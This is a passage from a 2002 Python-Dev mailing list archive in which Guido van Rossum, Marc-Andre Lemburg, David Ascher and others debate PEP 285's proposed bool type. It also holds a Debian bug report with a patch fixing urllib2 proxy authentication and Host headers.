subclass of int.  Consequently, 28 + True should yield 29 (perhaps with a
warning from PyChecker).

Skip



From mal@lemburg.com  Fri Mar  8 18:29:30 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 08 Mar 2002 19:29:30 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net>
 <3C88F2CD.FEB05C72@lemburg.com> <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C89030A.AB939CF5@lemburg.com>

Guido van Rossum wrote:
> 
> > > But this is the whole point of introducing a new type rather than
> > > simply defining True as 1 and False as 0!
> >
> > That's not how I read it: making bool a type would allow type
> > checks to be done and this is a *much* more important feature
> > to have than some different str(obj) output.
> 
> Depending on your POV, yes.
>
> > There are many situations when doing RPC or interfacing with
> > other systems such as databases where a type check for
> > booleans is needed.
> 
> Agreed, this is a nice additional advantage.

That's the main argument for adding a boolean *type* to
the language. We already have the singletons...
 
> > Currently, this can be done by simply using the already
> > existing Py_True and Py_False which are exposed at
> > Python level through (1==1) and (1==0) and we should not
> > break this scheme. '%s' % True must continue to
> > deliver '0' otherwise you'll end up breaking interfaces
> > which rely on this (such as database modules).
> 
> That's a good question.  Don't databases have a separate Boolean type?

Yes and currently it is encouraged to use Py_True and
Py_False on DB module output and the truth test on DB module 
input.

> Is there really code out that relies on this? 

mxODBC in SQL binding mode. Some databases only allow
passing in strings, so mxODBC has to call str(obj) to
pass the object stringified to the database.

This works just fine with Py_True and Py_False, since DBs
know that 1 and 0 are true and false. I'm not sure how
well 'True' and 'False' would work here, ODBC doesn't say
anything on these values if used in the C API, in fact
it doesn't have a native BOOLEAN type, just a BIT.

> The code would have to
> assume that the boolean argument is already normalized to being
> exactly 0 or 1; a generalized Python truth value wouldn't work.

Right.
 
> I can provide a real implementation next week, and we should have
> plenty of time to find out how much it breaks.

Perhaps you could clarify the need for these new
__str__ and __repr__ values ?!

I'd be happy with repr(True) giving me 'True',
but not str(True).

> > There's also another issue here: "True" and "False"
> > are English words, "0" and "1" are language neutral.
> 
> Methinks you are getting desperate for arguments here. :-)  Or should
> we also remove "if" from the language?

No. The point is that printing truth values up to now has
always resulted in '0' or '1'. You are about to change that
to 'True' and 'False'. This can create a l10n issue in 
existing applications.

It may also cause applications which write out boolean
data this way to fail, e.g. report generation tools,
XML generators, database extraction tools, etc...
Just think of code like this:

	print '<boolean value="%s">' % (x != 0)

(It's not like I'm running out of arguments :-)

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From martin@v.loewis.de  Fri Mar  8 18:31:24 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 08 Mar 2002 19:31:24 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <3C88B8B9.23634.14D1588@localhost>
References: <3C88B8B9.23634.14D1588@localhost>
Message-ID: <m3eliuq5c3.fsf@mira.informatik.hu-berlin.de>

"Hans Nowak" <wurmy@earthlink.net> writes:

> This may be a minor issue, but this proposal will break code like
> 
>   days_feb = 28 + isleapyear(year)
> 
> assuming that booleans cannot be added to ints. :-)

Under the proposal, this assumption is wrong. bool is defined as a
subtype of int; 28+True is 29. Just try this code with the reference
implementation given in your code.

Regards,
Martin


From guido@python.org  Fri Mar  8 18:32:11 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 13:32:11 -0500
Subject: [Python-Dev] Bool type and arrays
In-Reply-To: Your message of "Fri, 08 Mar 2002 09:26:21 PST."
 <000001c1c6c6$5db56dc0$1001a8c0@NICKLEBY>
References: <000001c1c6c6$5db56dc0$1001a8c0@NICKLEBY>
Message-ID: <200203081832.g28IWCk05431@pcp742651pcs.reston01.va.comcast.net>

> Guido said not to "mix up" the question of bit arrays with the bool
> proposal, but really, they *are* mixed up. The minute there is a bool
> type in Python people will be able to make Numeric arrays (not to
> mention Python arrays) with elements of type "bool".

I dunno about Numeric, but you cannot use an arbitrary type for the
'array' module -- you must use one of the documented codes that tell
the array module what size items to use.  Since there's no code
(documented or otherwise) that refers to bool, you *won't* be able to
create bool arrays with the array module.

I thought Numeric used a similar scheme?

> They will then be
> annoyed to learn that they are making arrays of objects and the result
> is a big array, not a small array, and that they would have been better
> off with our byte integer arrays. Depending on the implementation,
> mixing in bool values in a list of integers might persuade Numeric's
> array constructor to make them all objects.

I made bool a subclass of int to minimize this danger, but I don't
know whether Numeric uses PyInt_Check() or not.  If it uses that
macro, it should be safe.

> In short, they are mixed up in the sense that this proposed intellectual
> nicety will cause us Nummies a lot of grief. Not that you aren't allowed
> to give us grief, like you did with the "true division", but I wanted
> people to know they would be inflicting pain.

But let's not worry about pain we don't know that we'll really be
experiencing.  I like to look at things from the bright side.

Wait until I check it into CVS next week. :-)

> BTW: There is quite a bit of pent-up demand in the Numeric community for
> bit arrays. However, nobody knows how to do it since the internal Numpy
> structures use a byte as the atomic unit of addressing. 

Same for the Python array module.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Fri Mar  8 17:51:59 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 08 Mar 2002 18:51:59 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m34rjrq75s.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

>     This PEP proposes the introduction of a new built-in type, bool,
>     with two constants, False and True.  

I would prefer these constants to be named "true" and "false",
respectively.

Regards,
Martin


From guido@python.org  Fri Mar  8 18:44:17 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 13:44:17 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "08 Mar 2002 18:51:59 +0100."
 <m34rjrq75s.fsf@mira.informatik.hu-berlin.de>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <m34rjrq75s.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203081844.g28IiHM05580@pcp742651pcs.reston01.va.comcast.net>

> I would prefer these constants to be named "true" and "false",
> respectively.

But all other built-in constants have an initial capital letter: None,
NotImplemented, Ellipsis, ...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From David Abrahams" <david.abrahams@rcn.com  Fri Mar  8 18:51:41 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 8 Mar 2002 13:51:41 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <m34rjrq75s.fsf@mira.informatik.hu-berlin.de>
Message-ID: <07f201c1c6d2$4a56f850$0500a8c0@boostconsulting.com>

----- Original Message -----
From: "Martin v. Loewis" <martin@v.loewis.de>
To: "Guido van Rossum" <guido@python.org>
Cc: <python-dev@python.org>
Sent: Friday, March 08, 2002 12:51 PM
Subject: Re: [Python-Dev] For review: PEP 285: Adding a bool type


> Guido van Rossum <guido@python.org> writes:
>
> >     This PEP proposes the introduction of a new built-in type, bool,
> >     with two constants, False and True.
>
> I would prefer these constants to be named "true" and "false",
> respectively.

Don't you think using "true" in place of "False" and "false" in place of
"True" is bound to cause a little controversy <0.7wink>?

respectively yours,
Dave





From guido@python.org  Fri Mar  8 18:49:26 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 13:49:26 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 19:29:30 +0100."
 <3C89030A.AB939CF5@lemburg.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net> <3C88F2CD.FEB05C72@lemburg.com> <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net>
 <3C89030A.AB939CF5@lemburg.com>
Message-ID: <200203081849.g28InQJ05625@pcp742651pcs.reston01.va.comcast.net>

> That's the main argument for adding a boolean *type* to
> the language. We already have the singletons...

In C, not in Python!

> mxODBC in SQL binding mode. Some databases only allow
> passing in strings, so mxODBC has to call str(obj) to
> pass the object stringified to the database.
> 
> This works just fine with Py_True and Py_False, since DBs
> know that 1 and 0 are true and false. I'm not sure how
> well 'True' and 'False' would work here, ODBC doesn't say
> anything on these values if used in the C API, in fact
> it doesn't have a native BOOLEAN type, just a BIT.

OK, so you may have to change one line in one module.

> Perhaps you could clarify the need for these new
> __str__ and __repr__ values ?!
> 
> I'd be happy with repr(True) giving me 'True',
> but not str(True).

It just seems to make more sense if booleans print as True and False.
But if that really is going to be the only place where things break,
I'm willing to reconsider this.

> No. The point is that printing truth values up to now has
> always resulted in '0' or '1'. You are about to change that
> to 'True' and 'False'. This can create a l10n issue in 
> existing applications.

An application that prints the digits 0 or 1 to mean true or false
doesn't sound very user-friendly to me either.  I'm not worried that
we'll get actual complaints from people that this broke their program.

> It may also cause applications which write out boolean
> data this way to fail, e.g. report generation tools,
> XML generators, database extraction tools, etc...
> Just think of code like this:
> 
> 	print '<boolean value="%s">' % (x != 0)
> 
> (It's not like I'm running out of arguments :-)

We'll see. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From paul@pfdubois.com  Fri Mar  8 18:54:56 2002
From: paul@pfdubois.com (Paul F Dubois)
Date: Fri, 8 Mar 2002 10:54:56 -0800
Subject: [Python-Dev] bool and Numeric
In-Reply-To: <E16jPAt-0002TW-00@mail.python.org>
Message-ID: <000501c1c6d2$bf7bd4c0$1001a8c0@NICKLEBY>

FYI: Numeric makes arrays of anything. Indeed, when given a list of
items to use to construct an array, it falls back to "Object" as the
typecode of the result if the items don't have compatible types. (I.e.,
Numeric.array([1,2.]) has typecode Numeric.Float, but Numeric.array([1,
None]) would be typecode Numeric.PyObject. (The Numeric typecodes are a
superset or the same as the ones in Python's array class, I think).

If indeed PyInt_Check would identify a bool as an integer, we are either
ok or we can be made ok as far as the constructor goes, in that
Numeric.array([1,True]) will end up as typcode Numeric.Int; but so would
Numeric.array([True,False]). And as I said, this is going to cause
several new "well it is screwed up but take it or leave it" entries into
the manual.
E.g.,

x=Numeric.array([True,False]); print x[0] will end up printing 1, not
True.








From DavidA@ActiveState.com  Fri Mar  8 19:04:15 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Fri, 08 Mar 2002 11:04:15 -0800
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C890B2F.1486C05A@activestate.com>

Current Rationale for PEP 285:

    Most languages eventually grow a Boolean type; even C99 has one.
    It's useful to be able to tell from a function result that the
    outcome has Boolean semantics, and it helps with things like RPC
    protocols that may prefer to encode Booleans differently from
    integers.

I'd like to get a clearer understanding of the rationale of adding a new
type which would become commonly used, in view of the cost of the change
(in terms of complexity, backwards compatibility issues,
development/debugging time, outdated docs, etc.).

I think it's key to identify the ways in which the current semantics and
idioms are suboptimal.

1) "Most languages eventually grow a Boolean type; even C99 has one."

While I've often wanted a boolean (mostly for 'aesthetic reasons'), I
think it's important that the rationale for a language modification be
deeper than "everyone else does it".

2) "it helps with things like RPC protocols that may prefer to encode
Booleans differently from integers."

That is a real issue except that it seems to have been solved relatively
well by all of the language bindings so far.  IIRC, there are some
awkward situations in Jython if you explicitly want to send a boolean to
a polymorphic function, but that's an edge case.

3) "It's useful to be able to tell from a function result that the
    outcome has Boolean semantics"

This is intriguing.  I can't think of a case where the current integer
return values have caused me problems or concerns that weren't solved by
simply understanding what the function was about.  What use case did you
have in mind?

4) Booleans lead quickly to the 'memory savings' notions of packed
arrays of bits, which seems a detail of array implementation issues
different from this proposal.  I think the array folks could implement
this w/o a "core" Python datatype, just like they/we've dealt with
low-precision floats.

All in all, I'm neither for nor against at this point, but I think the
rationale for the change needs further elaboration.  And feeling
conservative today, without that I'd vote against it on complexity
grounds.

--david


From guido@python.org  Fri Mar  8 19:23:31 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 14:23:31 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 11:04:15 PST."
 <3C890B2F.1486C05A@activestate.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C890B2F.1486C05A@activestate.com>
Message-ID: <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>

> Current Rationale for PEP 285:
> 
>     Most languages eventually grow a Boolean type; even C99 has one.
>     It's useful to be able to tell from a function result that the
>     outcome has Boolean semantics, and it helps with things like RPC
>     protocols that may prefer to encode Booleans differently from
>     integers.
> 
> I'd like to get a clearer understanding of the rationale of adding a new
> type which would become commonly used, in view of the cost of the change
> (in terms of complexity, backwards compatibility issues,
> development/debugging time, outdated docs, etc.).

Yeah, there's always a lot of things that must be changed...

Most Python documentation currently contains some sort of apology for
the fact that there's no separate Boolean type, so at least the change
in the docs would be a positive one.

> I think it's key to identify the ways in which the current semantics and
> idioms are suboptimal.
> 
> 1) "Most languages eventually grow a Boolean type; even C99 has one."
> 
> While I've often wanted a boolean (mostly for 'aesthetic reasons'), I
> think it's important that the rationale for a language modification be
> deeper than "everyone else does it".

It is commonly seen as a small wart.  While the wart is easy to work
around (I've seen lots of code defining constants True and False or
variations), what's missing is a standard way so everybody can do it
the same way.

> 2) "it helps with things like RPC protocols that may prefer to encode
> Booleans differently from integers."
> 
> That is a real issue except that it seems to have been solved relatively
> well by all of the language bindings so far.  IIRC, there are some
> awkward situations in Jython if you explicitly want to send a boolean to
> a polymorphic function, but that's an edge case.

I didn't invent this argument; Marc-Andre thought it would be
helpful.  I see it as a mild argument at most.  But it's useful that
in situations where a receiver would like to distinguish Booleans from
ints, you can now do it.

> 3) "It's useful to be able to tell from a function result that the
>     outcome has Boolean semantics"
> 
> This is intriguing.  I can't think of a case where the current integer
> return values have caused me problems or concerns that weren't solved by
> simply understanding what the function was about.  What use case did you
> have in mind?

When showing people comparison operators etc. in the interactive
shell, I think this is a tad ugly:

    >>> a = 13
    >>> b = 12
    >>> a > b
    1
    >>>

If this was:

    >>> a > b
    True
    >>>

it would require one millisecond less thinking.

There's also the issue (which I've seen puzzling even experienced
Pythonistas who had been away from the language for a while) that if
you see:

    >>> cmp(a, b)
    1
    >>> cmp(a, a)
    0
    >>> 

you might be tempted to believe that cmp() also returned a truth
value.  If ints are not (normally) used for Booleans results, this
would stand out much more clearly as something completely different.

> 4) Booleans lead quickly to the 'memory savings' notions of packed
> arrays of bits, which seems a detail of array implementation issues
> different from this proposal.  I think the array folks could implement
> this w/o a "core" Python datatype, just like they/we've dealt with
> low-precision floats.

This doesn't interest me much.

> All in all, I'm neither for nor against at this point, but I think the
> rationale for the change needs further elaboration.  And feeling
> conservative today, without that I'd vote against it on complexity
> grounds.

Wait till you've seen the implementation. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Fri Mar  8 19:31:17 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 08 Mar 2002 20:31:17 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net> <3C88F2CD.FEB05C72@lemburg.com> <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net>
 <3C89030A.AB939CF5@lemburg.com> <200203081849.g28InQJ05625@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C891185.9010F8E@lemburg.com>

Guido van Rossum wrote:
> 
> > That's the main argument for adding a boolean *type* to
> > the language. We already have the singletons...
> 
> In C, not in Python!

Sure we do:

	True = (1==1)
	False = (1==0)

and many other modules and methods return these two 
singletons as well, so it's not like you are adding 
something new to the language :-)
 
> > mxODBC in SQL binding mode. Some databases only allow
> > passing in strings, so mxODBC has to call str(obj) to
> > pass the object stringified to the database.
> >
> > This works just fine with Py_True and Py_False, since DBs
> > know that 1 and 0 are true and false. I'm not sure how
> > well 'True' and 'False' would work here, ODBC doesn't say
> > anything on these values if used in the C API, in fact
> > it doesn't have a native BOOLEAN type, just a BIT.
> 
> OK, so you may have to change one line in one module.

Nope. I'll have to add a new handler which detects the
bool type and converts it to 1 or 0 resp.

The effort required to do this is not the argument,
it's the fact that you are trying to break working code 
without any real life need. The PEP doesn't mention a
single example where the advantage is so obvious that
it requires breaking code.
 
> > Perhaps you could clarify the need for these new
> > __str__ and __repr__ values ?!
> >
> > I'd be happy with repr(True) giving me 'True',
> > but not str(True).
> 
> It just seems to make more sense if booleans print as True and False.
> But if that really is going to be the only place where things break,
> I'm willing to reconsider this.

Good.
 
> > No. The point is that printing truth values up to now has
> > always resulted in '0' or '1'. You are about to change that
> > to 'True' and 'False'. This can create a l10n issue in
> > existing applications.
> 
> An application that prints the digits 0 or 1 to mean true or false
> doesn't sound very user-friendly to me either.  I'm not worried that
> we'll get actual complaints from people that this broke their program.

The problem is that the boolean output may not have been 
intended by the programmer. All he ever got was the integers
1 and 0 -- it was never obvious to the pure Python programmer
that these two values were acutally the singletons
Py_True and Py_False. Now you want to add additional
semantics to those and things will look different on output.

> > It may also cause applications which write out boolean
> > data this way to fail, e.g. report generation tools,
> > XML generators, database extraction tools, etc...
> > Just think of code like this:
> >
> >       print '<boolean value="%s">' % (x != 0)
> >
> > (It's not like I'm running out of arguments :-)
> 
> We'll see. :-)

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From Chris Lawrence <lawrencc@debian.org>, 137399@bugs.debian.org  Fri Mar  8 19:29:03 2002
From: Chris Lawrence <lawrencc@debian.org>, 137399@bugs.debian.org (Chris Lawrence)
Date: Fri, 08 Mar 2002 13:29:03 -0600
Subject: [Python-Dev] Bug#137399: patch for urllib2.py: fix behavior with proxies
Message-ID: <20020308192903.C661122EFC6@host251.auditing.olemiss.edu>

Package: python2.1, python2.2
Version: 2.1.2-2
Severity: normal
File: /usr/lib/python2.1/urllib2.py
Tags: patch upstream

The following patch against Python 2.1 fixes some problems with the
urllib2 module when used with proxies; in particular, if
$http_proxy="http://user:passwd@host:port/" is used.  It also
generates the correct Host header for proxy requests (some proxies,
such as oops, get confused otherwise, despite RFC 2616 section 5.2
which says they are to ignore it in the case of a full URL on the
request line).

I believe this patch will apply against 2.2 and CVS as well, but I
haven't checked yet.

--- /usr/lib/python2.1/urllib2.py	Fri Jan 18 11:07:32 2002
+++ urllib2.py	Fri Mar  8 13:22:14 2002
@@ -478,11 +478,14 @@
     def proxy_open(self, req, proxy, type):
         orig_type = req.get_type()
         type, r_type = splittype(proxy)
-        host, XXX = splithost(r_type)
-        if '@' in host:
-            user_pass, host = host.split('@', 1)
+        if '@' in r_type:
+            user_pass, r_type = r_type.split('@', 1)
+            if user_pass[:2] == '//':
+                user_pass = user_pass[2:]
+            r_type = '//'+r_type
             user_pass = base64.encodestring(unquote(user_pass)).strip()
             req.add_header('Proxy-Authorization', 'Basic '+user_pass)
+        host, XXX = splithost(r_type)
         host = unquote(host)
         req.set_proxy(host, type)
         if orig_type == type:
@@ -780,6 +783,7 @@
         hexrep.append(hex(n)[-1])
     return ''.join(hexrep)
 
+_selectorexp = re.compile(r'[a-z]+://([^/]+)/?', re.I)
 
 class AbstractHTTPHandler(BaseHandler):
 
@@ -787,23 +791,29 @@
         host = req.get_host()
         if not host:
             raise URLError('no host given')
+        selector = req.get_selector()
 
         try:
             h = http_class(host) # will parse host:port
             if req.has_data():
                 data = req.get_data()
-                h.putrequest('POST', req.get_selector())
+                h.putrequest('POST', selector)
                 if not req.headers.has_key('Content-type'):
                     h.putheader('Content-type',
                                 'application/x-www-form-urlencoded')
                 if not req.headers.has_key('Content-length'):
                     h.putheader('Content-length', '%d' % len(data))
             else:
-                h.putrequest('GET', req.get_selector())
+                h.putrequest('GET', selector)
         except socket.error, err:
             raise URLError(err)
 
-        h.putheader('Host', host)
+        m = _selectorexp.match(selector)
+        if m:
+            h.putheader('Host', m.group(1))
+        else:
+            h.putheader('Host', host)
+        
         for args in self.parent.addheaders:
             h.putheader(*args)
         for k, v in req.headers.items():




From mal@lemburg.com  Fri Mar  8 19:36:07 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 08 Mar 2002 20:36:07 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C8912A7.A913A4FE@lemburg.com>

Just found another argument:

Guido van Rossum wrote:
> 
> When showing people comparison operators etc. in the interactive
> shell, I think this is a tad ugly:
> 
>     >>> a = 13
>     >>> b = 12
>     >>> a > b
>     1
>     >>>
> 
> If this was:
> 
>     >>> a > b
>     True
>     >>>
> 
> it would require one millisecond less thinking.

and then they do:

>>> (a > b) * 10
10

or

>>> True * 10
10
>>> False * 10
0

If you want to dive into logic here, the only correct output
would be:

>>> True * 10
True
>>> False * 10
False

However, this would break even more code... your bool
type is much more like a bit type (or would have to behave
like one in order to maintain backwards compatibility).

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From jeremy@zope.com  Fri Mar  8 19:38:18 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 08 Mar 2002 14:38:18 -0500
Subject: [Python-Dev] Bug#137399: patch for urllib2.py: fix behavior with proxies
In-Reply-To: <20020308192903.C661122EFC6@host251.auditing.olemiss.edu>
Message-ID: <web-3692110@digicool.com>

On Fri, 08 Mar 2002 13:29:03 -0600
 Chris Lawrence <lawrencc@debian.org> wrote:

Chris,

Is this an automatic system that sends Debian bugs to
python-dev?  If so, that's not very friendly.  We ask that
Python users not send reports to python-dev, but file them
with SourceForge instead.

I would be the person to review this bug report and commit a
fix, but I won't get to it today.  If it's not in SF, I
can't guarantee that I'll remember it.

I hope I don't sound too cranky :-).

Jeremy


From jason@jorendorff.com  Fri Mar  8 19:33:48 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Fri, 8 Mar 2002 13:33:48 -0600
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081844.g28IiHM05580@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <HFEKILOLEFEFMKAECNDLMEABDIAA.jason@jorendorff.com>

Guido van Rossum wrote:
> > I would prefer these constants to be named "true" and "false",
> > respectively.
> 
> But all other built-in constants have an initial capital letter: None,
> NotImplemented, Ellipsis, ...

True.

But this isn't as compelling as it might be, since None is the only
one that enjoys common non-guru usage.  It only counts as consistency
if other people notice and remember the pattern.

The pattern people really care about is:

  C99:        true    false
  C++:        true    false
  C#:         true    false
  Java:       true    false
  JavaScript: true    false

(I can't find other case-sensitive languages with boolean types
to compare.)

I also think repr(false) should return a randomly chosen line from
an insults file.  This makes the interactive prompt funnier:

  >>> 1 == 1
  true
  >>> 1 == 17
  LIAR!!!

## Jason Orendorff    http://www.jorendorff.com/


From guido@python.org  Fri Mar  8 19:41:28 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 14:41:28 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 20:31:17 +0100."
 <3C891185.9010F8E@lemburg.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net> <3C88F2CD.FEB05C72@lemburg.com> <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net> <3C89030A.AB939CF5@lemburg.com> <200203081849.g28InQJ05625@pcp742651pcs.reston01.va.comcast.net>
 <3C891185.9010F8E@lemburg.com>
Message-ID: <200203081941.g28JfSt05905@pcp742651pcs.reston01.va.comcast.net>

> The effort required to do this is not the argument,
> it's the fact that you are trying to break working code 
> without any real life need. The PEP doesn't mention a
> single example where the advantage is so obvious that
> it requires breaking code.

OK, now we're talking.  You want more motivation.  See my response to
David Ascher; I'm going to add all that to the PEP online too.

> > > I'd be happy with repr(True) giving me 'True',
> > > but not str(True).
> > 
> > It just seems to make more sense if booleans print as True and False.
> > But if that really is going to be the only place where things break,
> > I'm willing to reconsider this.
> 
> Good.

This is now in the PEP as an option.

> The problem is that the boolean output may not have been 
> intended by the programmer. All he ever got was the integers
> 1 and 0 -- it was never obvious to the pure Python programmer
> that these two values were acutally the singletons
> Py_True and Py_False. Now you want to add additional
> semantics to those and things will look different on output.

In the long run, you'll thank me for this.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar  8 19:44:38 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 14:44:38 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 20:36:07 +0100."
 <3C8912A7.A913A4FE@lemburg.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
 <3C8912A7.A913A4FE@lemburg.com>
Message-ID: <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net>

> >>> True * 10
> 10
> >>> False * 10
> 0
> 
> If you want to dive into logic here, the only correct output
> would be:
> 
> >>> True * 10
> True
> >>> False * 10
> False

What has logic got to do with this?

> However, this would break even more code... your bool
> type is much more like a bit type (or would have to behave
> like one in order to maintain backwards compatibility).

I never said otherwise.  It behaves exactly like int except for those
operations where the PEP specifies something different.  This is
intentional, since anything else will break too much code.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From DavidA@ActiveState.com  Fri Mar  8 19:54:10 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Fri, 08 Mar 2002 11:54:10 -0800
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C8916E2.7A2C5DE3@activestate.com>

> It is commonly seen as a small wart.  While the wart is easy to work
> around (I've seen lots of code defining constants True and False or
> variations), what's missing is a standard way so everybody can do it
> the same way.

That's easy.  That problem can be dealt with by defining True and False
as built-in constants with values 1 and 0 respectively (while you're at
it, make None read-only =).

> > 2) "it helps with things like RPC protocols that may prefer to encode
> > Booleans differently from integers."
> >
> > That is a real issue except that it seems to have been solved relatively
> > well by all of the language bindings so far.  IIRC, there are some
> > awkward situations in Jython if you explicitly want to send a boolean to
> > a polymorphic function, but that's an edge case.
> 
> I didn't invent this argument; Marc-Andre thought it would be
> helpful.  I see it as a mild argument at most.  But it's useful that
> in situations where a receiver would like to distinguish Booleans from
> ints, you can now do it.

Agreed. I also agree w/ the mildness of it.

> > 3) "It's useful to be able to tell from a function result that the
> >     outcome has Boolean semantics"
> >
> > This is intriguing.  I can't think of a case where the current integer
> > return values have caused me problems or concerns that weren't solved by
> > simply understanding what the function was about.  What use case did you
> > have in mind?
> 
> When showing people comparison operators etc. in the interactive

>     >>> a > b
>     1

vs.

>     >>> a > b
>     True

and:

>     >>> cmp(a, b)
>     1
>     >>> cmp(a, a)
>     0

Which really seems to be the key issue, both as a positive (your
argument) and as a negative (MAL's posts).

I wonder if the str()/repr() distinction or % formatting codes could
help break the logjam.  Probably not.

I'm still not convinced that the disease is worth the cure, but I'm
open-minded =).

--david


From guido@python.org  Fri Mar  8 20:02:35 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 15:02:35 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 11:54:10 PST."
 <3C8916E2.7A2C5DE3@activestate.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
 <3C8916E2.7A2C5DE3@activestate.com>
Message-ID: <200203082002.g28K2ZJ06150@pcp742651pcs.reston01.va.comcast.net>

> That's easy.  That problem can be dealt with by defining True and False
> as built-in constants with values 1 and 0 respectively (while you're at
> it, make None read-only =).

If PEP 285 is withdrawn, I could do a milder version.

> > When showing people comparison operators etc. in the interactive
> 
> >     >>> a > b
> >     1
> 
> vs.
> 
> >     >>> a > b
> >     True
> 
> and:
> 
> >     >>> cmp(a, b)
> >     1
> >     >>> cmp(a, a)
> >     0
> 
> Which really seems to be the key issue, both as a positive (your
> argument) and as a negative (MAL's posts).

It certainly is what motivates me.

> I wonder if the str()/repr() distinction or % formatting codes could
> help break the logjam.  Probably not.

Marc-Andre has suggested that, and I'm willing to give it a try if
it's needed to save the PEP.

> I'm still not convinced that the disease is worth the cure, but I'm
> open-minded =).

:-)

Now let's you and I go decide on the Python track and tutorials for
OSCON 2002...

--Guido van Rossum (home page: http://www.python.org/~guido/)


